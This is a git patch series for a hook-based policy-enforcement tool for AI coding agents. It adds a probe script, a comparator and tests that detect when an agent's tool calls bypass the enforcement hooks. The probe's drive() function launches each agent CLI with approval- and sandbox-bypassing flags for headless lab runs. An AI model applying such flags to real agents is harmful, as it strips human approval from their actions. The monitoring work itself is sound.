"Stop"]); + expect(r.verdict).toBe("OK"); + expect(r.exitCode).toBe(0); + }); + + it("reports DRIFT when the tool ran and no PreToolUse arrived", () => { + // The class of failure no customer machine can report: when a vendor + // rejects our config nothing reaches us, so silence at our end is + // indistinguishable from a quiet day. The created file is the independent + // witness that something DID happen without us. + const r = decide(1, []); + expect(r.verdict).toBe("DRIFT"); + expect(r.exitCode).toBe(1); + }); + + it("still reports DRIFT when other events arrive but PreToolUse does not", () => { + // A partial subscription is drift too: the session events prove the config + // was accepted, which makes the missing tool event a wiring change rather + // than a rejected file. + expect(decide(1, ["SessionStart", "Stop"]).verdict).toBe("DRIFT"); + }); + + it("is INCONCLUSIVE, quietly, when hooks fired but the model did nothing", () => { + // The one benign miss. Hooks demonstrably work, so there is nothing to + // wake anyone for. + const r = decide(0, ["SessionStart"]); + expect(r.verdict).toBe("INCONCLUSIVE"); + expect(r.exitCode).toBe(0); + }); + + it("is LOUD when the CLI itself failed to run", () => { + const r = decide(0, [], 127); + expect(r.verdict).toBe("ERROR"); + expect(r.exitCode).toBe(2); + expect(r.note).toContain("could not run the CLI"); + }); + + it("is LOUD when the CLI exited clean and we received nothing at all", () => { + // Distinct from the row above and easy to collapse into it by accident: + // this is what a rejected config looks like from our side. + const r = decide(0, [], 0); + expect(r.verdict).toBe("ERROR"); + expect(r.exitCode).toBe(2); + expect(r.note).toContain("no events at all"); + }); + + it("still reports when the probe dies before reaching a verdict", () => { + // `set -u` turns a single unset CANARY_* model variable into an immediate + // exit from inside drive(). Without the exit trap the outer job collects + // NOTHING for that CLI — no line, no artifact, indistinguishable from a CLI + // that was never scheduled. Silence is the one report this lab must never + // produce, so every death is made to speak. + const home = mkdtempSync(path.join(tmpdir(), "fpai-probe-")); + try { + const r = runProbe(["claude"], { HOME: home, CONTRACTS_REPO_DIR: "/nonexistent" }); + expect(r.verdict).toBe("ERROR"); + expect(r.note).toContain("died before reaching a verdict"); + // 2 is "could not check". 1 would read as "findings remain", which is a + // claim a run that never happened cannot support. + expect(r.exitCode).toBe(2); + } finally { + rmSync(home, { recursive: true, force: true }); + } + }); + + it("never calls an empty observation table clean", () => { + // The single property that keeps the lab honest: no combination of inputs + // yields OK without evidence that a tool ran and reached us. + for (const acted of [0, 1] as const) { + for (const rc of [0, 1, 127]) { + expect(decide(acted, [], rc).verdict).not.toBe("OK"); + } + } + }); +}); diff --git a/integration-suite/contracts-probe.sh b/integration-suite/contracts-probe.sh new file mode 100755 index 000000000..bea97ac17 --- /dev/null +++ b/integration-suite/contracts-probe.sh @@ -0,0 +1,224 @@ +#!/usr/bin/env bash +# Capture what ONE agent CLI's hook contract actually looks like today. +# +# This answers a different question from probe-cli.sh. That one asks "is +# enforcement working" and needs a deny to observe. This one asks "does the +# vendor still accept the config we install, and what do its payloads look +# like" — which needs no deny at all, only a tool call and a look at what +# arrived. +# +# ── The oracle ─────────────────────────────────────────────────────────────── +# The agent is asked to create a file. What happened is then read off two +# independent witnesses — the file, and the events we received — with no +# judgement of the model's output at all: +# +# file created + PreToolUse seen the vendor still calls us OK 0 +# file created + PreToolUse absent the tool RAN without us — DRIFT 1 +# no file + events seen hooks work, model idle INCONCLUSIVE 0 +# no file + nothing + rc≠0 the CLI never ran ERROR 2 +# no file + nothing + rc=0 ran, told us nothing ERROR 2 +# +# Row 2 is the whole point, and it is the one class no customer machine can +# report: when a vendor rejects our config, nothing reaches us, so silence at +# our end looks identical to a quiet day. The created file is the independent +# witness that separates "nothing happened" from "something happened without +# us". +# +# Rows 4 and 5 are loud on purpose. Everything upstream — credentials, install +# — is deliberately non-fatal, so a CLI that never started yields an empty +# observation table byte-identical to a healthy CLI that was simply idle. Only +# the exit status tells them apart, and a lab that reports "clean" when it is +# actually broken is worse than no lab. +# +# ── Two things that would silently invalidate a run ────────────────────────── +# 1. `observed.json` ACCUMULATES. It unions keys and never forgets, which is +# right for a real machine and fatal here: a CLI whose hooks stopped firing +# would still show yesterday's events and read as healthy forever. It is +# deleted before every run so the table describes THIS run only. +# 2. Writes are throttled (60s) and the daemon SIGKILLs the worker, so a whole +# probe's observations can die unwritten. FAILPROOFAI_OBSERVE_INTERVAL_MS=0 +# makes every discovery hit disk immediately. +# +# Only the warm worker records — `recordHookShape` has one call site, in +# worker-server.ts — so this ALWAYS runs the daemon path. The in-process path +# records nothing. +set -uo pipefail + +CLI="${1:?usage: contracts-probe.sh }" +BASE="$HOME/contracts-$CLI" + +# Overridable so this can be exercised outside the sandbox image. In the +# container both defaults are what run.sh mounts; a script that can only run in +# CI is a script that ships untested. +REPO_DIR="${CONTRACTS_REPO_DIR:-/repo}" +FAILPROOFAID_BIN="${CONTRACTS_DAEMON_BIN:-/opt/failproofaid/failproofaid}" +OUT_DIR="${CONTRACTS_OUT_DIR:-$REPO_DIR/integration-suite/out}" +GW="${CANARY_LLM_BASE_URL:-https://models.aikin.club}"; GW="${GW%/}" +MARKER="PROBE_OK" +PROMPT="Create a file named ${MARKER} in the current directory containing the word ready. Then stop." + +EMITTED=0 +verdict() { # $1 = OK|DRIFT|INCONCLUSIVE|ERROR $2 = note + EMITTED=1 + printf 'CONTRACTS_JSON {"cli":"%s","verdict":"%s","note":"%s","events":%s}\n' \ + "$CLI" "$1" "$2" "${EVENTS_JSON:-[]}" + [ "$1" = DRIFT ] && exit 1 + [ "$1" = ERROR ] && exit 2 + exit 0 +} + +# Every death produces a verdict line, including the ones nobody planned for. +# `set -u` turns one unset `CANARY_*` model variable into an immediate exit +# from inside drive(), and the outer job would otherwise collect NOTHING for +# that CLI — no line, no artifact, nothing to distinguish it from a CLI that +# was never scheduled. Silence is the one report this lab must never produce. +on_exit() { + rc=$? + [ -n "${DAEMON_PID:-}" ] && kill "$DAEMON_PID" 2>/dev/null + [ "$EMITTED" = 1 ] && return $rc + printf 'CONTRACTS_JSON {"cli":"%s","verdict":"ERROR","note":"probe died before reaching a verdict (exit %s)","events":%s}\n' \ + "$CLI" "$rc" "${EVENTS_JSON:-[]}" + # 2 is the contract's "could not check". The original status is in the note, + # but 1 would read as "findings remain" — a claim this run cannot support. + exit 2 +} +trap on_exit EXIT + +# ── The oracle, on its own ─────────────────────────────────────────────────── +# `--decide ` runs only the decision and exits. +# DRIFT is the one outcome no real CLI produces on demand — reaching it live +# requires a vendor to actually break — so asking for it directly is the only +# way it is ever exercised. Pinned by `contracts-verdict.test.ts`. +decide() { # $1 = 1|0 acted ; $2 = events json ; $3 = the CLI's exit status + ACTED="$1"; EVENTS_JSON="$2"; DRIVE_RC="$3" + SAW_PRETOOL=0; case "$EVENTS_JSON" in *'"PreToolUse"'*) SAW_PRETOOL=1 ;; esac + SAW_ANY=0; [ "$EVENTS_JSON" != "[]" ] && SAW_ANY=1 + + if [ "$ACTED" = 1 ] && [ "$SAW_PRETOOL" = 1 ]; then + verdict OK "tool ran and we were called" + elif [ "$ACTED" = 1 ]; then + # The decisive case. Something executed a tool and no PreToolUse reached us. + verdict DRIFT "the tool RAN and no PreToolUse arrived - config format moved" + elif [ "$SAW_ANY" = 1 ]; then + # Hooks demonstrably work; the model simply did not do the thing. The one + # genuinely benign miss, and the only quiet non-OK outcome. + verdict INCONCLUSIVE "hooks fired but the model never created the file" + elif [ "$DRIVE_RC" != 0 ]; then + # Nothing arrived AND the CLI failed. Loud on purpose: the credential and + # install steps upstream are deliberately non-fatal, so a CLI that never + # started would otherwise produce an empty table indistinguishable from a + # quiet, healthy day. + verdict ERROR "could not run the CLI (exit $DRIVE_RC) - see drive.log" + else + # It ran, it exited clean, and we heard nothing at all - not even a session + # event. That is what a rejected config looks like, but with no tool call to + # witness it we cannot say so. Either way it is not a clean run. + verdict ERROR "the CLI ran and we received no events at all - see drive.log" + fi +} + +if [ "$CLI" = "--decide" ]; then CLI="${2:?}"; decide "${3:?}" "${4:?}" "${5:?}"; fi + +# Same dist preparation probe-cli.sh does: /repo may be mounted read-only, and +# the custom-policy loader needs somewhere writable. +FP_DIST="$HOME/fp-dist-contracts" +rm -rf "$FP_DIST"; mkdir -p "$FP_DIST" +cp -r "$REPO_DIR/dist/." "$FP_DIST/" || { echo "could not prepare dist from $REPO_DIR/dist" >&2; exit 1; } +export FAILPROOFAI_DIST_PATH="$FP_DIST" FAILPROOFAI_TELEMETRY_DISABLED=1 +export PATH="$HOME/.local/bin:$HOME/.npm-global/bin:$HOME/.factory/bin:$PATH" + +mkdir -p "$HOME/bin" +printf '#!/bin/sh\nexec bun %s/bin/failproofai.mjs "$@"\n' "$REPO_DIR" > "$HOME/bin/failproofai" +chmod +x "$HOME/bin/failproofai" +export FAILPROOFAI_BINARY_OVERRIDE="$HOME/bin/failproofai" + +fp() { bun "$REPO_DIR/bin/failproofai.mjs" "$@"; } + +# ── Per-CLI invocation ─────────────────────────────────────────────────────── +# Copied verbatim from probe-cli.sh's drive(). `contracts-drive-parity.test.ts` +# asserts the two stay byte-identical per CLI, so this cannot drift silently — +# probe-cli.sh is the canary's working code and is not refactored from here. +drive() { # $1 = prompt ; run ONE prompt headless, executing tools without approval + # An escape hatch for the box: when a vendor changes its invocation between + # image builds, the run can be unblocked without a release. Also how the + # plumbing is exercised without a vendor or credentials. + if [ -n "${CONTRACTS_DRIVE_CMD:-}" ]; then + ( cd "$BASE" && PROMPT="$1" sh -c "$CONTRACTS_DRIVE_CMD" 2>&1 ) + return $? + fi + case "$CLI" in + claude) ( cd "$BASE" && claude -p "$1" --model "$CANARY_CLAUDE_MODEL" --dangerously-skip-permissions 2>&1 ) ;; + opencode) ( cd "$BASE" && opencode run --auto -m "gw/$CANARY_LLM_MODEL" "$1" 2>&1 ) ;; + goose) ( cd "$BASE" && goose run --no-session -t "$1" 2>&1 ) ;; + hermes) ( cd "$BASE" && hermes --yolo -z "$1" 2>&1 ) ;; + pi) ( cd "$BASE" && pi --provider openai --model "openai/$CANARY_PI_MODEL" --api-key "$CANARY_LLM_API_KEY" -p "$1" 2>&1 ) ;; + codex) ( cd "$BASE" && codex exec --skip-git-repo-check --dangerously-bypass-approvals-and-sandbox --dangerously-bypass-hook-trust \ + -c model_providers.gw.name="gw" -c model_providers.gw.base_url="$GW/v1" -c model_providers.gw.wire_api="responses" \ + -c model_providers.gw.env_key="CANARY_LLM_API_KEY" -c model_provider="gw" \ + -c model="$CANARY_CODEX_MODEL" "$1" 2>&1 ) ;; + cursor) ( cd "$BASE" && cursor-agent -p --force "$1" 2>&1 ) ;; + copilot) ( cd "$BASE" && copilot -p "$1" --allow-all-tools 2>&1 ) ;; + devin) ( cd "$BASE" && devin -p "$1" --permission-mode dangerous --respect-workspace-trust false 2>&1 ) ;; + antigravity) ( cd "$BASE" && agy -p "$1" --model "${CANARY_ANTIGRAVITY_MODEL:-Gemini 3.5 Flash (Low)}" --dangerously-skip-permissions 2>&1 ) ;; + factory) ( cd "$BASE" && droid exec --auto high -m "custom:gw-haiku-0" "$1" 2>&1 ) ;; + openclaw) ( cd "$BASE" && timeout 150 openclaw agent --local --session-key "contracts-$RANDOM$RANDOM" --model "gw/$CANARY_LLM_MODEL" -m "$1" 2>&1 ) ;; + *) echo "drive: $CLI not implemented" >&2; return 3 ;; + esac +} + +rm -rf "$BASE"; mkdir -p "$BASE" + +# ── A run must describe only itself ────────────────────────────────────────── +OBSERVED="$HOME/.failproofai/contracts/observed.json" +rm -f "$OBSERVED" + +# Kept, not discarded: "could not install hooks" without the reason is a dead +# end for whoever reads the report tomorrow morning. +if ! fp policies --install --cli "$CLI" --scope user > "$BASE/install.log" 2>&1; then + verdict ERROR "could not install hooks for $CLI - see install.log" +fi + +# Mark the machine daemon-configured, the way `failproofai config` would. The +# observer only records on this path. +mkdir -p "$HOME/.failproofai" +printf '{"layout":4,"cli":"probe","daemon":"probe"}' > "$HOME/.failproofai/VERSION" +bun -e "const{updateConfig}=await import('$REPO_DIR/src/hooks/fp-config.ts');updateConfig({daemon:{configured:true}})" \ + >/dev/null 2>&1 || verdict ERROR "could not mark the machine daemon-configured" + +export FAILPROOFAI_OBSERVE_INTERVAL_MS=0 # every discovery hits disk; see header +export FAILPROOFAI_OBSERVE_VERSIONS=1 # record the vendor's version too + +FAILPROOFAI_WORKER_CMD="bun $REPO_DIR/bin/failproofai-worker.mjs" \ + "$FAILPROOFAID_BIN" >> "$BASE/daemon.log" 2>&1 & +DAEMON_PID=$! +for _ in $(seq 1 50); do [ -S "$HOME/.failproofai/run/failproofaid.sock" ] && break; sleep 0.2; done +if ! [ -S "$HOME/.failproofai/run/failproofaid.sock" ]; then + verdict ERROR "daemon did not come up" +fi + +DRIVE_OUT="$(drive "$PROMPT")"; DRIVE_RC=$? +# Enough to see why a run failed: the useful error is often well above the +# last few lines of an agent's output. +echo "$DRIVE_OUT" | tail -200 > "$BASE/drive.log" + +kill "$DAEMON_PID" 2>/dev/null; wait "$DAEMON_PID" 2>/dev/null + +# ── Read what arrived ──────────────────────────────────────────────────────── +export OBSERVED CLI +EVENTS_JSON="$(bun -e ' + const fs = require("node:fs"); + try { + const t = JSON.parse(fs.readFileSync(process.env.OBSERVED, "utf8")); + console.log(JSON.stringify(Object.keys(t.clis?.[process.env.CLI]?.hooks ?? {}).sort())); + } catch { console.log("[]"); } +' 2>/dev/null)" || EVENTS_JSON="[]" + +ACTED=0; [ -f "$BASE/$MARKER" ] && ACTED=1 + +# Publish whatever we captured, even on a bad verdict: a table from a run that +# went wrong is still evidence, and withholding it hides the diff that explains +# why. +mkdir -p "$OUT_DIR" +cp -f "$OBSERVED" "$OUT_DIR/$CLI.json" 2>/dev/null || true + +decide "$ACTED" "$EVENTS_JSON" "$DRIVE_RC" From 6d03cef9d29afca9f956f37a05d7a0d9a22771b6 Mon Sep 17 00:00:00 2001 From: chhhee10 Date: Tue, 18 Aug 2026 14:23:43 +0530 Subject: [PATCH 09/18] Close the loop: find out what a vendor sends, decide whether we can still read it, and publish the answer MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Three pieces, each useful on its own, that together answer the question the canary cannot: not "did enforcement work today" but "is what these CLIs send still something our policies can read". **contract-compare.ts** turns an observed contract into findings. It does not describe our translation maps, it RUNS them — canonicalizeToolName and canonicalizeToolInput, the same functions the live hook path calls, applied to the key names the observer recorded. A separate description would be a second copy of the maps, and the copy nobody executes is the one that goes stale. The line between provable and heuristic is drawn deliberately, because a report nobody trusts is a report nobody reads. `inert-tool-input` is arithmetic on names — Copilot renaming Read's file_path to uri yields no derivable path key, so block-env-files cannot fire, and that is true wherever it is computed. An untranslated tool carrying `command` is only PROBABLY a renamed shell tool, so doctor prints it and does not fail the run on it. Requirements are OR-sets because block-read-outside-cwd reads `file_path || path`, and demanding one spelling would manufacture findings about CLIs that work perfectly. Verified against a table captured from a real goose 1.43.0 session: no findings. **The lab** (contracts-runner.sh, contracts-pack.mjs, a `contracts` job, contracts-publish.sh) drives every CLI and publishes a pack — one file describing twelve live hook contracts, shaped exactly like the observation table a customer's machine keeps, so one comparator reads both. It shares ci-entrypoint.sh with the canary rather than copying an hour of setup to change the last line. Every guard in it exists for a failure that produces no error message: the daemon is mandatory (recordHookShape has one call site, in the warm worker, so an in-process run publishes an empty pack that reads as twelve silent vendors), artifacts stay off the read-only /repo mount, and publishing is skipped on any run that could not be trusted. It publishes only when the CONTRACT moved, comparing with generatedAt removed — commit on the timestamp and the repo releases daily, at which point a release stops meaning anything. **contract-pack-client.ts** lets a machine benefit from that. The local table is bounded by what the machine happened to do: an agent that has never written a file has no Write shape, so a renamed Write key is invisible until the day it matters. Pack findings are shown, filtered to CLIs actually in use, and deliberately do not fail the run — the lab may have driven a newer vendor version than this machine runs. Fetching happens only on the scheduled path, so the daemon's existing repair lane already pulls it with no Rust change, proven end to end against a served pack. DEFAULT_PACK_URL ships empty on purpose: the pack repo does not exist yet, and a plausible-looking guess would 404 on every machine indefinitely while looking configured. integration-suite/contracts-repo/ carries its release workflow and setup notes. Verified by running it, which is where every real bug in this work has come from: a live goose session end to end (probe -> pack -> HTTP -> doctor), and a read of the container contract that found the default artifact directory sat inside the read-only /repo mount. fp-home's classification tripwire caught the pack cache being unclassified, which would have left it undeletable on reset. --- CHANGELOG.md | 16 + .../fixtures/contracts/goose-1.43.0.json | 23 ++ __tests__/fixtures/contracts/pack-sample.json | 69 ++++ __tests__/hooks/contract-compare.test.ts | 199 +++++++++++ __tests__/hooks/contract-pack-client.test.ts | 166 +++++++++ __tests__/hooks/doctor-cli.test.ts | 164 +++++++++ .../integration-suite/contracts-lab.test.ts | 155 +++++++++ .../integration-suite/contracts-pack.test.ts | 87 +++++ .../integration-suite/local-runner.test.ts | 6 +- bin/failproofai.mjs | 24 +- integration-suite/ci-entrypoint.sh | 15 +- integration-suite/contracts-local.sh | 53 +++ integration-suite/contracts-pack.mjs | 105 ++++++ integration-suite/contracts-probe.sh | 4 +- integration-suite/contracts-publish.sh | 75 ++++ integration-suite/contracts-repo/README.md | 43 +++ integration-suite/contracts-repo/release.yml | 63 ++++ integration-suite/contracts-runner.sh | 79 +++++ integration-suite/local/install.sh | 27 +- integration-suite/local/jobs/contracts.sh | 105 ++++++ integration-suite/local/run-job.sh | 10 +- src/hooks/contract-compare.ts | 321 ++++++++++++++++++ src/hooks/contract-pack-client.ts | 144 ++++++++ src/hooks/doctor-cli.ts | 218 +++++++++++- src/hooks/fp-home.ts | 15 + 25 files changed, 2152 insertions(+), 34 deletions(-) create mode 100644 __tests__/fixtures/contracts/goose-1.43.0.json create mode 100644 __tests__/fixtures/contracts/pack-sample.json create mode 100644 __tests__/hooks/contract-compare.test.ts create mode 100644 __tests__/hooks/contract-pack-client.test.ts create mode 100644 __tests__/integration-suite/contracts-lab.test.ts create mode 100644 __tests__/integration-suite/contracts-pack.test.ts create mode 100755 integration-suite/contracts-local.sh create mode 100644 integration-suite/contracts-pack.mjs create mode 100755 integration-suite/contracts-publish.sh create mode 100644 integration-suite/contracts-repo/README.md create mode 100644 integration-suite/contracts-repo/release.yml create mode 100755 integration-suite/contracts-runner.sh create mode 100755 integration-suite/local/jobs/contracts.sh create mode 100644 src/hooks/contract-compare.ts create mode 100644 src/hooks/contract-pack-client.ts diff --git a/CHANGELOG.md b/CHANGELOG.md index 76204a73c..6d9f9eb5a 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -52,6 +52,22 @@ Two properties would silently invalidate a run and are handled explicitly: `observed.json` **accumulates** by design, so a CLI whose hooks stopped firing would keep showing yesterday's events and read healthy forever — it is deleted before every run; and writes are throttled while the daemon SIGKILLs the worker, so `FAILPROOFAI_OBSERVE_INTERVAL_MS=0` makes every discovery hit disk immediately. The probe carries its own copy of the canary's `drive()` rather than refactoring the canary's working code, with a test asserting the two stay identical per CLI. Verified end to end against a live goose session, which captured all five events, the exact payload keys including an undocumented `matcher_context`, and the vendor version. (#PR) +- Turn an observed hook contract into findings about this build's own translation maps, and show them in `failproofai doctor`. The observer records what a vendor sent; this decides whether what it sent is still something we can read. That gap is where the product fails silently — every policy depends on a hand-written translation of some vendor's payload, each verified live against one version of one CLI, with nothing since re-checking it. + + It does not describe the translation, it **runs** it: `canonicalizeToolName` and `canonicalizeToolInput`, the same functions the live hook path calls, applied to the key names the observer recorded. A separate description of what those maps do would be a second copy of the maps, and the copy nobody executes is the one that goes stale — the same call the config check makes by regenerating through the real writer. + + Three findings, and the line between provable and heuristic is drawn deliberately. `inert-tool-input` is arithmetic on names: Copilot renaming Read's `file_path` to `uri` yields no derivable path key, so `block-env-files` cannot fire, and that is true wherever it is computed. `unroutable-event` likewise. `unmapped-tool` is a guess — an untranslated tool arriving with `command` is almost certainly a renamed shell tool, which is right in a lab that chose the prompt and wrong on a machine carrying somebody's custom tool, so `doctor` prints it and does **not** fail the run on it. Requirements are OR-sets because `block-read-outside-cwd` reads `file_path || path`, and demanding one spelling would manufacture findings about CLIs that are working perfectly. The requirement table is small and hand-written, which is exactly what rots, so a test greps `builtin-policies.ts` for every key it names. Verified against a table captured from a real goose 1.43.0 session: no findings. (#PR) + +- Add the contracts lab: `contracts-runner.sh`, `contracts-pack.mjs`, a `contracts` job for the box, and `contracts-publish.sh`. It drives every CLI through one boring tool call and records what each vendor actually sent, producing a **pack** — one file describing twelve live hook contracts, shaped exactly like the observation table a customer's machine keeps, so one comparator reads both with no second parser. + + It shares `ci-entrypoint.sh` with the canary rather than copying it: the build, the daemon, the sandbox image, the CLI installs, the tokens and the env file are identical for both, and duplicating an hour of setup to change the last line is how two harnesses drift into testing different things. It deliberately does **not** version-gate, which is the canary's right answer and the wrong one here — the artifact IS the current contract, and a gated run would publish entries dating from different weeks. + + Every guard in it exists for a failure that produces no error message. The daemon is mandatory, because `recordHookShape` has one call site and it is in the warm worker, so an in-process run would probe twelve CLIs and publish an empty pack that reads as twelve silent vendors. Artifacts stay off `/repo`, which the sandbox mounts read-only, or the copy fails into a `|| true` and produces the same empty pack. Publishing is skipped on any run that could not be trusted, since overwriting a good pack with silence is worse than publishing nothing. And the decision to publish ignores `generatedAt` and compares the contract itself — commit on the timestamp and the repo releases daily, at which point a release stops meaning "something moved". (#PR) + +- Let a machine benefit from the lab: `contract-pack-client.ts` fetches and caches the published pack, and `doctor` reports what the lab saw for the CLIs you actually run. This is coverage the local table cannot have — `observed.json` is bounded by what this machine happened to do, so an agent that has never written a file has no Write shape recorded and a renamed Write key stays invisible until the day it matters. The lab drives every CLI through the same tool call daily, so its pack describes the vendor rather than the usage. + + Findings from the pack are shown and deliberately do **not** fail the run: the lab may have driven a newer vendor version than this machine runs, so they are a warning about what an upgrade will bring rather than a claim about the machine now — and the local table, which is a claim about the machine now, is already counted. They are also filtered to CLIs already present locally, because reporting the nine integrations somebody does not use is how the two lines that matter get skipped. Fetching happens only on the scheduled path or an explicit `--refresh`; an interactive `doctor` never waits on the network, and nothing here is reachable from a hook. The URL is constructed, never discovered — no API call and no `releases/latest` redirect to rate-limit — and `DEFAULT_PACK_URL` ships **empty** on purpose: the pack repo does not exist yet, and a plausible-looking guess would 404 on every machine indefinitely while looking configured. `integration-suite/contracts-repo/` carries the release workflow and setup notes for that repo when it is created. (#PR) + ### Fixes - **Reinstalling could not recover a config whose container type a vendor changed** — the bug that makes the drift class above permanent rather than merely bad. Every `writeHookEntries` reaches for its container with `??=`, which accepts whatever is already there: copilot's `settings.hooks ??= {}` keeps a pre-existing **array**, the following `hooks["PreToolUse"] = …` sets a non-index property, `JSON.stringify` drops it, and the file written back is byte-identical to the broken one. A user could run `policies --install` forever, stay completely unenforced, and see success reported every time. `resetMistypedContainers` learns the expected type by running the writer against an empty object — no table to maintain, so it cannot go stale — and is asserted to be a no-op for every integration on a config that integration just wrote, which is the invariant that makes it safe on every install. Settings writes are now atomic (temp file plus rename, preserving mode), so a crash mid-write can no longer leave a truncated config that no CLI will load. (#PR) diff --git a/__tests__/fixtures/contracts/goose-1.43.0.json b/__tests__/fixtures/contracts/goose-1.43.0.json new file mode 100644 index 000000000..404a2cb49 --- /dev/null +++ b/__tests__/fixtures/contracts/goose-1.43.0.json @@ -0,0 +1,23 @@ +{ + "schemaVersion": 1, + "updatedAt": "2026-08-18T08:04:40.319Z", + "clis": { + "goose": { + "hooks": { + "SessionStart": { "envelope": ["event", "matcher_context", "session_id"] }, + "UserPromptSubmit": { "envelope": ["event", "matcher_context", "message", "session_id"] }, + "PreToolUse": { + "envelope": ["event", "matcher_context", "session_id", "tool_input", "tool_name", "working_dir"], + "tools": { "write": ["content", "path"] } + }, + "PostToolUse": { + "envelope": ["event", "matcher_context", "session_id", "tool_input", "tool_name", "working_dir"], + "tools": { "write": ["content", "path"] } + }, + "SessionEnd": { "envelope": ["event", "matcher_context", "session_id"] } + }, + "versionCheckedAt": "2026-08-18T08:04:33.675Z", + "version": "1.43.0" + } + } +} diff --git a/__tests__/fixtures/contracts/pack-sample.json b/__tests__/fixtures/contracts/pack-sample.json new file mode 100644 index 000000000..ece160ed7 --- /dev/null +++ b/__tests__/fixtures/contracts/pack-sample.json @@ -0,0 +1,69 @@ +{ + "generatedAt": "2026-08-18T08:32:11.599Z", + "clis": { + "goose": { + "hooks": { + "SessionStart": { + "envelope": [ + "event", + "matcher_context", + "session_id" + ] + }, + "UserPromptSubmit": { + "envelope": [ + "event", + "matcher_context", + "message", + "session_id" + ] + }, + "PreToolUse": { + "envelope": [ + "event", + "matcher_context", + "session_id", + "tool_input", + "tool_name", + "working_dir" + ], + "tools": { + "write": [ + "content", + "path" + ] + } + }, + "PostToolUse": { + "envelope": [ + "event", + "matcher_context", + "session_id", + "tool_input", + "tool_name", + "working_dir" + ], + "tools": { + "write": [ + "content", + "path" + ] + } + }, + "SessionEnd": { + "envelope": [ + "event", + "matcher_context", + "session_id" + ] + } + }, + "versionCheckedAt": "2026-08-18T08:32:05.053Z", + "version": "1.43.0", + "probe": { + "verdict": "OK", + "note": "tool ran and we were called" + } + } + } +} diff --git a/__tests__/hooks/contract-compare.test.ts b/__tests__/hooks/contract-compare.test.ts new file mode 100644 index 000000000..c486d398c --- /dev/null +++ b/__tests__/hooks/contract-compare.test.ts @@ -0,0 +1,199 @@ +// @vitest-environment node +/** + * The comparator turns "what the vendor sent" into "what stopped working". + * + * Two properties matter more than any individual case. It must not invent + * findings about CLIs that are working — a drift report nobody trusts is a + * report nobody reads — which is why the first test runs it over a table + * captured from a real goose session and demands silence. And its notion of + * "a key we need" must stay tied to the keys policies actually read, which the + * last test enforces by grepping the policies themselves. + */ +import { describe, it, expect } from "vitest"; +import { readFileSync } from "node:fs"; +import { join } from "node:path"; +import { + compareCliContract, + compareContractTable, + REQUIRED_TOOL_INPUT_KEYS, +} from "../../src/hooks/contract-compare"; + +const REAL_GOOSE = join(__dirname, "..", "fixtures", "contracts", "goose-1.43.0.json"); + +/** Findings for one CLI from a bare hooks map. */ +function findings(cli: string, hooks: Record) { + return compareCliContract(cli, { hooks }).findings; +} + +function tools(tool: string, keys: string[]) { + return { PreToolUse: { envelope: [], tools: { [tool]: keys } } }; +} + +describe("contract-compare: it must not cry wolf", () => { + it("finds nothing in a table captured from a real, working goose session", () => { + // Captured live from goose 1.43.0 by contracts-probe.sh: `write` arriving + // as {content, path}, which GOOSE_TOOL_INPUT_MAP translates. If this ever + // reports a finding, the comparator is wrong, not goose. + const table = JSON.parse(readFileSync(REAL_GOOSE, "utf8")) as unknown; + const [goose] = compareContractTable(table); + expect(goose.cli).toBe("goose"); + expect(goose.version).toBe("1.43.0"); + expect(goose.findings).toEqual([]); + }); + + it("stays silent for a rename we already absorbed", () => { + // Copilot 1.0.71 renamed Read's file_path to path. That incident is closed: + // COPILOT_TOOL_INPUT_MAP translates it, so it must read as healthy. + expect(findings("copilot", tools("read", ["path"]))).toEqual([]); + }); + + it("accepts a canonical key from a CLI with no input map at all", () => { + // Factory needs no map — its keys are already canonical. Absence of a map + // must not read as absence of the key. + expect(findings("factory", tools("Execute", ["command"]))).toEqual([]); + }); + + it("says nothing about a CLI it does not know", () => { + // Canonicalization is per-CLI; running the wrong CLI's maps would invent + // drift that is not there. + expect(findings("some-new-cli", tools("Execute", ["nonsense"]))).toEqual([]); + }); +}); + +describe("contract-compare: the failure it exists for", () => { + it("reports a key rename that leaves path policies unable to fire", () => { + // The Copilot 1.0.71 class, as it would be caught today: a rename nobody + // has mapped yet. + const [f] = findings("copilot", tools("read", ["uri"])); + expect(f.kind).toBe("inert-tool-input"); + expect(f.severity).toBe("high"); + expect(f.canonicalTool).toBe("Read"); + expect(f.missing).toEqual(["file_path", "path"]); + expect(f.detail).toContain("block-env-files"); + }); + + it("reports a renamed Bash argument, which disables every command policy", () => { + const [f] = findings("factory", tools("Execute", ["cmd", "cwd"])); + expect(f.severity).toBe("high"); + expect(f.missing).toEqual(["command"]); + }); + + it("accepts either spelling of the path key, because the policy reads either", () => { + // block-read-outside-cwd reads `toolInput.file_path || toolInput.path`. + // Demanding one spelling would manufacture findings about working CLIs. + expect(findings("factory", tools("Read", ["file_path"]))).toEqual([]); + expect(findings("factory", tools("Read", ["path"]))).toEqual([]); + }); + + it("rates a lost advisory key below a lost blocking key", () => { + // Losing `content` degrades one warning. Losing the path stops denials. + const [f] = findings("goose", tools("write", ["path"])); + expect(f.severity).toBe("info"); + expect(f.missing).toEqual(["content"]); + }); +}); + +describe("contract-compare: a renamed tool NAME", () => { + it("escalates when an untranslated tool carries a gated tool's keys", () => { + // The name alone cannot distinguish a rename from a third-party tool. The + // keys can: a tool we cannot translate arriving with `command` is the shell + // tool, and every Bash policy is matching nothing. + const [f] = findings("factory", tools("Run", ["command"])); + expect(f.kind).toBe("unmapped-tool"); + expect(f.severity).toBe("high"); + expect(f.detail).toContain("looks like a rename"); + expect(f.detail).toContain("Bash"); + }); + + it("does not escalate a plainly third-party tool", () => { + const [f] = findings("factory", tools("Sparkle", ["glitter"])); + expect(f.severity).toBe("info"); + }); + + it("does not escalate namespaced extension or MCP tools even when keys collide", () => { + // `mcp__x__y` and goose's `__` are how other people's tools are + // named. A `path` key on one of those is coincidence, not a rename. + const [f] = findings("factory", tools("mcp__files__open", ["path"])); + expect(f.severity).toBe("info"); + }); + + it("says nothing about a tool the map already translates", () => { + expect(findings("goose", tools("todo__todo_write", ["todos"]))).toEqual([]); + }); +}); + +describe("contract-compare: events", () => { + it("reports an event whose name routes to no policy", () => { + const [f] = findings("antigravity", { PreToolCall: { envelope: [] } }); + expect(f.kind).toBe("unroutable-event"); + expect(f.severity).toBe("high"); + }); + + it("accepts an event that only routes after mapping", () => { + // Antigravity's PreInvocation is UserPromptSubmit. Judging the raw name + // would flag every non-Claude CLI. + expect(findings("antigravity", { PreInvocation: { envelope: [] } })).toEqual([]); + }); +}); + +describe("contract-compare: it must never throw", () => { + it.each([ + ["null", null], + ["a string", "nope"], + ["an array", [1, 